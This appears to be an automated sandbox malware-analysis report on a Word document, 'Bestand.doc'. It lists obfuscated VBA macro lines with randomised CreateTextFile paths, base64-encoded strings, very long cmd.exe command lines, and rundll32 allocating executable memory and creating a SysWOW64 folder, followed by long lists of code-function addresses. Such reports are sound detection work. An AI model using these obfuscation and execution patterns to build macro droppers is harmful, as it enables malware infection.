Source: Bestand.doc OLE, VBA macro line: Set tfgmN = tNvqYU.CreateTextFile("sGEGIHLHI:\qsyPj\EiYLgCIK.EdPNHU")
Source: Bestand.doc OLE, VBA macro line: Set JJetH = MeLoxDCJT.CreateTextFile("VixyO:\QYvZJLAY\DkDtKB.ACnqoxJ")
Source: Bestand.doc OLE, VBA macro line: Set hgvZG = TmGkDL.CreateTextFile("LhykJB:\jTdNFUJ\PnxpBEA.YspSlC")
Source: Bestand.doc OLE, VBA macro line: Set RJCEFJhC = WcDDCTDnI.CreateTextFile("MRDYFoGGc:\LGsvZeCE\WxUJACHB.KjAkiD")
Source: Bestand.doc OLE, VBA macro line: Set ZYnQf = GUUgA.CreateTextFile("gDyoIzGDe:\zHPnE\SlHrCGBaB.xpVdXbCuJ")
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Rvpv59xrvp7m2wb, String createtextfile: Set eRxrHHEBB = TptSCH.CreateTextFile("MqoMRwwIg:\gqqsLDE\cFTTPq.jfZyU") Name: Rvpv59xrvp7m2wb
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Rvpv59xrvp7m2wb, String createtextfile: Set UaCEJEERD = bwdNxC.CreateTextFile("tNUBI:\bUxfKyODA\ZyrvC.WCgQpU") Name: Rvpv59xrvp7m2wb
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Rvpv59xrvp7m2wb, String createtextfile: Set uwCSCCEO = KTDSIL.CreateTextFile("VdGtFIE:\SzlumIC\CndNBJiEG.WAxLRDDC") Name: Rvpv59xrvp7m2wb
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Rvpv59xrvp7m2wb, String createtextfile: Set NHymnJzG = TiWkS.CreateTextFile("JhEjHJH:\heHcF\xIjwBCI.IWEODGR") Name: Rvpv59xrvp7m2wb
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Rvpv59xrvp7m2wb, String createtextfile: Set rfIxFdkBE = ZZzrG.CreateTextFile("HrrfJtDR:\BPgVNA\eowWDqCnB.iaEjRFDB") Name: Rvpv59xrvp7m2wb
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Rvpv59xrvp7m2wb, String createtextfile: Set bcUFD = zetDIDBDI.CreateTextFile("ayAqsH:\opXXFq\UykoCNloH.lEEiEJlG") Name: Rvpv59xrvp7m2wb
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Rvpv59xrvp7m2wb, String createtextfile: Set TOXmCsgb = TjDNNFkVD.CreateTextFile("JYXoyLAMu:\EFBhEtGsQ\owfrHBHf.anGOrJLhY") Name: Rvpv59xrvp7m2wb
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Rvpv59xrvp7m2wb, String createtextfile: Set yHxgEeJg = AUZLIjCLH.CreateTextFile("LPJPJFI:\CTzVF\dLRZEH.maUZE") Name: Rvpv59xrvp7m2wb
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Rvpv59xrvp7m2wb, String createtextfile: Set ApdWADYGV = UjlQFBJj.CreateTextFile("zGzGFMUJD:\QkpIYHOrc\FwQpsJ.ddKnHUJB") Name: Rvpv59xrvp7m2wb
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Rvpv59xrvp7m2wb, String createtextfile: Set eLNGd = buKzFt.CreateTextFile("sucQc:\iYsaHyNC\NiIqHAH.mTesbI") Name: Rvpv59xrvp7m2wb
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Rvpv59xrvp7m2wb, String createtextfile: Set hQCyFzF = msoKFIIMI.CreateTextFile("SQhZmTV:\ITZNAskG\hSsqo.sNJcmiGF") Name: Rvpv59xrvp7m2wb
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Rvpv59xrvp7m2wb, String createtextfile: Set sPUjHbDB = FijxC.CreateTextFile("DNCEiIDxC:\EYevg\MFdKF.RmyPCLa") Name: Rvpv59xrvp7m2wb
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Slz39ct0lz_ksnd, String createtextfile: Set fdLCFDmF = WqyIx.CreateTextFile("ylDMcFB:\AAOOMAKJq\xwBWuI.IOYsGSuDB") Name: Slz39ct0lz_ksnd
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Slz39ct0lz_ksnd, String createtextfile: Set tfgmN = tNvqYU.CreateTextFile("sGEGIHLHI:\qsyPj\EiYLgCIK.EdPNHU") Name: Slz39ct0lz_ksnd
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Slz39ct0lz_ksnd, String createtextfile: Set JJetH = MeLoxDCJT.CreateTextFile("VixyO:\QYvZJLAY\DkDtKB.ACnqoxJ") Name: Slz39ct0lz_ksnd
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Slz39ct0lz_ksnd, String createtextfile: Set hgvZG = TmGkDL.CreateTextFile("LhykJB:\jTdNFUJ\PnxpBEA.YspSlC") Name: Slz39ct0lz_ksnd
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Zacj6cs0xxmkchq, String createtextfile: Set RJCEFJhC = WcDDCTDnI.CreateTextFile("MRDYFoGGc:\LGsvZeCE\WxUJACHB.KjAkiD") Name: Zacj6cs0xxmkchq
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Zacj6cs0xxmkchq, String createtextfile: Set ZYnQf = GUUgA.CreateTextFile("gDyoIzGDe:\zHPnE\SlHrCGBaB.xpVdXbCuJ") Name: Zacj6cs0xxmkchq
Document contains an embedded VBA with base64 encoded strings
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Rvpv59xrvp7m2wb, String HNkPCvHSVKIC
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Rvpv59xrvp7m2wb, String LhUxJGiLUCZp
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Rvpv59xrvp7m2wb, String QkKSDHgSXaAA
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Rvpv59xrvp7m2wb, String zDOlFEIFBVWkPbIC
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Rvpv59xrvp7m2wb, String xfhECJccxFyA
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Rvpv59xrvp7m2wb, String wOTiEDqNZtWN
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Rvpv59xrvp7m2wb, String xaOQJbzFVCXtJADD
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Rvpv59xrvp7m2wb, String YfIwYFFntmmdDsPv
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Rvpv59xrvp7m2wb, String nbBVBbrmTJhR
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Rvpv59xrvp7m2wb, String JNHUAINVrwxEKEHD
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Slz39ct0lz_ksnd, String WVtJEvzwejAL
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Slz39ct0lz_ksnd, String YIyOHHHeDXloKIBE
Source: VBA code instrumentation OLE, VBA macro: Module A81c_pcot0t3c8, Function Zacj6cs0xxmkchq, String UqiKuFLuUFAG
Very long command line found
Source: unknown Process created: Commandline size = 5629
Source: unknown Process created: Commandline size = 5533
Source: C:\Windows\System32\cmd.exe Process created: Commandline size = 5533 Jump to behavior
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Creates files inside the system directory
Source: C:\Windows\SysWOW64\rundll32.exe File created: C:\Windows\SysWOW64\Pqryhcbuipyk\ Jump to behavior
Detected potential crypto function
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000976F 7_2_1000976F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C2C63 7_2_006C2C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006CB41F 7_2_006CB41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006CC0C6 7_2_006CC0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D3895 7_2_006D3895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006CEE78 7_2_006CEE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D02C3 7_2_006D02C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D42DA 7_2_006D42DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C568E 7_2_006C568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C7B63 7_2_006C7B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D4B41 7_2_006D4B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C8736 7_2_006C8736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D687F 7_2_006D687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006CF444 7_2_006CF444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006CE05A 7_2_006CE05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D340A 7_2_006D340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C88E5 7_2_006C88E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C1CFA 7_2_006C1CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D20C5 7_2_006D20C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006DA0AF 7_2_006DA0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C48BD 7_2_006C48BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C60B9 7_2_006C60B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C80BA 7_2_006C80BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D889D 7_2_006D889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C153C 7_2_006C153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006CF536 7_2_006CF536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D0D33 7_2_006D0D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D7D03 7_2_006D7D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D5D1D 7_2_006D5D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D8D1C 7_2_006D8D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D511B 7_2_006D511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006CB112 7_2_006CB112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D71EF 7_2_006D71EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D31E2 7_2_006D31E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C69A0 7_2_006C69A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D6DB9 7_2_006D6DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D61B8 7_2_006D61B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006CF98C 7_2_006CF98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D9586 7_2_006D9586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C6D9F 7_2_006C6D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C7998 7_2_006C7998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D5A61 7_2_006D5A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006CEA4C 7_2_006CEA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C4A35 7_2_006C4A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C9A37 7_2_006C9A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C2A30 7_2_006C2A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D7A0F 7_2_006D7A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D12E2 7_2_006D12E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D26F5 7_2_006D26F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C96CD 7_2_006C96CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D8ADC 7_2_006D8ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C62A3 7_2_006C62A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C1280 7_2_006C1280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006CC769 7_2_006CC769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D0B68 7_2_006D0B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C8F78 7_2_006C8F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C5B79 7_2_006C5B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006CE377 7_2_006CE377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D1773 7_2_006D1773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D2349 7_2_006D2349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D8F49 7_2_006D8F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D9B45 7_2_006D9B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006CB75F 7_2_006CB75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C6754 7_2_006C6754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006CBB3A 7_2_006CBB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D0F0C 7_2_006D0F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D7F1F 7_2_006D7F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D2B16 7_2_006D2B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D67E9 7_2_006D67E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006CD7EB 7_2_006CD7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D3FE7 7_2_006D3FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D63C1 7_2_006D63C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C9FDC 7_2_006C9FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D1BDF 7_2_006D1BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C17AC 7_2_006C17AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D73AC 7_2_006D73AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006D878F 7_2_006D878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006C839D 7_2_006C839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0022B41F 8_2_0022B41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00222C63 8_2_00222C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0022EE78 8_2_0022EE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0022568E 8_2_0022568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00233895 8_2_00233895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002302C3 8_2_002302C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0022C0C6 8_2_0022C0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002342DA 8_2_002342DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00228736 8_2_00228736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00227B63 8_2_00227B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00234B41 8_2_00234B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002363C1 8_2_002363C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00222A30 8_2_00222A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00229A37 8_2_00229A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00224A35 8_2_00224A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0023340A 8_2_0023340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00237A0F 8_2_00237A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00235A61 8_2_00235A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0023687F 8_2_0023687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0022F444 8_2_0022F444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0022EA4C 8_2_0022EA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0022E05A 8_2_0022E05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002262A3 8_2_002262A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0023A0AF 8_2_0023A0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002280BA 8_2_002280BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002260B9 8_2_002260B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002248BD 8_2_002248BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00221280 8_2_00221280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0023889D 8_2_0023889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002312E2 8_2_002312E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002288E5 8_2_002288E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002326F5 8_2_002326F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00221CFA 8_2_00221CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002320C5 8_2_002320C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002296CD 8_2_002296CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00238ADC 8_2_00238ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00230D33 8_2_00230D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0022F536 8_2_0022F536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0022BB3A 8_2_0022BB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0022153C 8_2_0022153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00237D03 8_2_00237D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00230F0C 8_2_00230F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0022B112 8_2_0022B112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00232B16 8_2_00232B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0023511B 8_2_0023511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00237F1F 8_2_00237F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00235D1D 8_2_00235D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00238D1C 8_2_00238D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0022C769 8_2_0022C769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00230B68 8_2_00230B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00231773 8_2_00231773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0022E377 8_2_0022E377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00228F78 8_2_00228F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00225B79 8_2_00225B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00239B45 8_2_00239B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00232349 8_2_00232349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00238F49 8_2_00238F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00226754 8_2_00226754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0022B75F 8_2_0022B75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002269A0 8_2_002269A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002217AC 8_2_002217AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002373AC 8_2_002373AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00236DB9 8_2_00236DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002361B8 8_2_002361B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00239586 8_2_00239586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0023878F 8_2_0023878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0022F98C 8_2_0022F98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00227998 8_2_00227998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00226D9F 8_2_00226D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0022839D 8_2_0022839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002331E2 8_2_002331E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00233FE7 8_2_00233FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0022D7EB 8_2_0022D7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002367E9 8_2_002367E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002371EF 8_2_002371EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00231BDF 8_2_00231BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00229FDC 8_2_00229FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007AEE78 9_2_007AEE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A2C63 9_2_007A2C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007AB41F 9_2_007AB41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B42DA 9_2_007B42DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B02C3 9_2_007B02C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007AC0C6 9_2_007AC0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B3895 9_2_007B3895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A568E 9_2_007A568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A7B63 9_2_007A7B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B4B41 9_2_007B4B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A8736 9_2_007A8736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B63C1 9_2_007B63C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B687F 9_2_007B687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B5A61 9_2_007B5A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007AE05A 9_2_007AE05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007AEA4C 9_2_007AEA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007AF444 9_2_007AF444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A2A30 9_2_007A2A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A9A37 9_2_007A9A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A4A35 9_2_007A4A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B340A 9_2_007B340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B7A0F 9_2_007B7A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A1CFA 9_2_007A1CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B26F5 9_2_007B26F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B12E2 9_2_007B12E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A88E5 9_2_007A88E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B8ADC 9_2_007B8ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A96CD 9_2_007A96CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B20C5 9_2_007B20C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A80BA 9_2_007A80BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A60B9 9_2_007A60B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A48BD 9_2_007A48BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007BA0AF 9_2_007BA0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A62A3 9_2_007A62A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B889D 9_2_007B889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A1280 9_2_007A1280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A8F78 9_2_007A8F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A5B79 9_2_007A5B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B1773 9_2_007B1773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007AE377 9_2_007AE377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007AC769 9_2_007AC769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B0B68 9_2_007B0B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007AB75F 9_2_007AB75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A6754 9_2_007A6754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B2349 9_2_007B2349
